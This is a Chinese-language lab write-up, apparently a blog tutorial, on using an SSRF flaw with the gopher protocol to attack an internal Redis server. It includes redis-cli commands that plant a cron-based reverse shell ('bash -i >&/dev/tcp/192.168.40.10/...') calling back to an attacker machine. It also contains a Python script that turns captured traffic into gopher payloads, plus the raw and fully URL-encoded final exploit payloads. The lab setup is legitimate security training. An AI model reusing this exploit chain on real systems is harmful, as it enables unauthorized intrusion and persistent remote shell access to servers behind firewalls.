SSRF基本原理:
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造特殊的请求,并且由指定服务器端发起恶意请求的一个安全漏洞。 由于业务运行的服务器处于内外网边界,并且可通过利用当前的这台服务器,根据所在的网络,访问到与外部网络隔离的内网应用,所以一般情况下,SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统。比如说外网服务器回包给内网主机,会顺着打内网另外其他主机。
SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。
例如,黑客操控服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器(隔山打牛),SSRF的重点是需要将服务器的流量往内网里面转。
SSRF利用的条件:内外网边缘运行的服务器能够和内网终端进行交互
小结:攻击者目前无法攻击目标机器,但是由于这时候企业对外提供的门户网站对应的服务器是允许外部网络访问的,这时候就能够穿过防火墙访问这台服务器,然后再通过这台服务器作为跳板去攻击内网目标机器。
目前内外网边缘运行的服务器和内网设备之间的交互,如果要利用SSRF漏洞对内网进行攻击,我们无法使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,通过gopher协议传输攻击代码,gopher 的基本请求格式如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
空行
需要传输的参数
为此我们来做一个比较简单的实验,加深对SSRF漏洞的理解以及gopher协议的利用。
此实验的具体思路我通过一个图进行描述:
环境要求:
kali攻击机——具有SSRF漏洞的机器(跳板)——内网Redis服务器
在内网Redis服务器上配置防火墙策略,只允许SSRF的机器访问服务器,实现网络隔离。
实验所需要的虚拟机以及环境如下,这里分成两组:
注:这里为了方便将RedisB测试服务器和带有SSRF漏洞的服务器都放在一台192.168.40.9的Redhat虚拟机上
第一组:带有SSRF漏洞的服务器——>内网RedisA服务器
192.168.40.34 RedisA
192.168.40.9 SSRF漏洞服务器
第二组:Kali攻击机——>RedisB测试服务器
192.168.40.10 kali攻击机
192.168.40.9 RedisB
这里为什么要分成两组:
第一组是实际攻击路径,利用SSRF漏洞攻击内网RedisA服务器,第二组是为了制造TCP流,也就是伪造请求,伪造完成后通过40.9以gopher流的形式发送给内网RedisA服务器以达成攻击。这里为了方便起见,将RedisB测试服务器和SSRF漏洞服务器都放在40.9上,其实可以另外搞一台虚拟机作为RedisB服务器,但RedisB的作用主要是为了能够伪造TCP请求,生成一个样本,在搞一台其实没有必要,主要是为了方便后续利用此样本攻击真正的内网RedisA服务器。
首先在Redhat8虚拟机安装Redis服务,
在redis官网下载redis-stack-server-6.2.4-v2,为了保证实验顺利进行,建议不要用最新版本。
将下载下来的tar.gz进行解压:tar -xzvf 解压包
解压后会在你解压包的目录下生成一个Redis-6.2.12文件夹,通过ls查看详情,解压成功。这时候需要进行安装,我这里指定redis的工作目录为/usr/local/redis,方便后续实验。
一直安装......直到出现make:离开目录 "/root/redis-6.2.12/src",表示安装成功。
安装成功后,进入bin目录,能够看到redis启动文件,执行./redis-server --protected-mode no,启动Redis服务,这里为什么要带--protected-mode no参数,因为由于目前的Redis版本已经进行了优化,当需要切回老版本时使用--protected-mode no,关闭Redis的保护模式,否则可能会导致kali攻击方无法连接到Redis服务器,这里为了方便进行实验,将其关闭。
在kali攻击机上安装redis-cli连接工具,如果没有安装可以执行apt-get install redis-cli,在kali攻击机上使用redis-cli -h 进行连接,-h代表要连接的主机。连接后输入info确定,如果显示以下信息代表Redis环境已经配置成功。 下图是连接RedisB测试服务器。
同样的再192.168.40.34的RedisA服务器上,安装redis服务,启用redis服务,如下图。
在kali攻击机使用redis-cli连接40.34,成功连接:
目标RedisA服务器目前的防火墙状态是关闭,这时候需要在RedisA服务器上添加一条防火墙策略,允许带有SSRF漏洞的服务器能够访问RedisA服务器。如下图所示:
设置完防火墙策略后,再次启动RedisA服务器的redis服务,在kali进行测试,这时候kali攻击机就连不上6379端口了。因为这时候我们是要利用SSRF漏洞去攻击目标RedisA服务器,所以为了还原场景,需要加上防火墙策略(这里是在服务器本地防火墙加策略,真实环境还有部署在企业网络边界的防火墙进行策略控制,这个后期文章会验证)。
这时候基本工作就告一段落,接下来是漏洞利用阶段。
本次实验使用的SSRF漏洞页面是pikaqiu靶场平台,我们先使用dict协议小测一波,看能不能扫到内网RedisA服务器的6379端口,下面图片显示报错信息,表示内网存在Redis服务。
在利用gopher协议进行攻击时,我们首先要知道gopher协议的流的怎么样的,所以现在需要构造一个正常请求,在攻击机上启用监听,使用流量转发工具socat,抓取tcp流量,然后将其流量转换为gopher格式,生成gopher流的攻击样本,为下面利用SSRF攻击内网主机做铺垫。
这时访问kali RedisB服务器,将本地访问RedisB流量转发到本地的6379端口,为了能够抓到访问的数据包,当kali本地访问6379端口时,socat抓到了流量,是以列的方式呈现。
接下来我们正式开始, 在kali本地开启监听3333端口,当将计划任务写入RedisB测试服务器时,会每隔一分钟向kali反弹,也就是权限维持。
对RedisB测试服务器进行攻击,目的是获取攻击样本,为接下来的工作做铺垫。
Redis攻击代码:
redis-cli -h 127.0.0.1 flushall #清除缓存
echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1 #反弹shell,由于在kali机上开启了监听,所以可以将本地的流量转发至这里,每隔1分钟往kali弹shell
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录,这里指的是计划任务
redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字,也就是将计划任务写入到目标的文件
redis-cli -h 127.0.0.1 save #保存
这个时候攻击步骤完成后,在RedisB测试服务器会生成一个计划任务,通过crontab -l查看
使用crontab -e 查看详细情况,如图所示已经生成计划任务,每分钟会向kali的3333端口反弹shell
在kali攻击机可以观察到通过nc已经成功获取到RedisB的Shell。
关键的一步来了,切换到socat流量工具,socat也抓到了攻击流量,我们需要将TCP流转换为gopher流,通过gopher流将攻击流量传输到内网RedisA服务器,达到攻击的效果。
上述记录着刚刚针对RedisB服务器进行攻击的TCP流,此时需要使用脚本转换为gopher形式的流,现在将上述流复制到一个txt文本中。
这里有个gopher转换脚本,代码如下:
#coding: utf-8
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
#判断倒树第2,3字符串是否为\r
elif line[-3:-1] == r'\r':
#如果该行只有\r,将\r替换为%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
#判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
通过kali的python2.7将1.txt的TCP流形式转换为gopher格式,可以把多余的空行清除掉,之前是以列的方式显示,现在通过脚本转换后,是以行的形式呈现。这是攻击RedisB测试服务器导出的payload,由于最终的目标是RedisA所以需要对参数进行修改,主要是监听端口,目标IP地址的修改。
*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
因为要通过带有SSRF漏洞的机子发送gopher请求给内网RedisA服务器,所以需要对攻击的IP进行修改,这里为了不跟3333端口冲突,在kali攻击机上使用4444端口进行监听(如果还想使用3333端口监听这时候只需要将RedisB测试服务器的/var/spool/cron/里面生成的root计划任务文件删除即可,避免出现问题。)
攻击目标是RedisA服务器192.168.40.34的6379端口。
gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
但是目前还不够,需要对此进行URL编码,将此攻击链复制到Burp的Decoder模块进行URL加密
最终的Payload:
http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61
在带有SSRF漏洞的机器上执行,这时通过gopher协议向内网RedisA服务器发出请求,写入计划任务。
成功反弹shell:
注意:进行此实验可能会遇到的问题如下
如果socat已经在使用,表示socat进程被占用了,需要通过kill杀死
总结:
为什么要部署RedisB测试服务器?
因为攻击Redis A之前,首先需要构造一个样本,如何构造,通过在kali本地搭建一个Redis B,作为本地测试,形成攻击链后将他的格式转换为gopher协议,然后测试完毕后,应用在真实攻击上,将gopher协议数据包发送给存在SSRF漏洞的机器实现攻击,转给Redis A,写一个计划任务,反弹shell,往kali弹。
本次实验留下的思考:
1.本次实验只是针对基于SSRF漏洞的gopher协议攻击,但是在真实环境中,SSRF内的内网主机或者服务器有可能是不出网,这时候怎么反弹shell。
2.如果目标Redis A服务器存在身份验证,公网内存在VPS怎么反弹?如果没有root权限怎么实现计划任务?
以上问题都会在后期文章描述,本人菜鸡一个,如果有什么写的不好的,欢迎指出问题。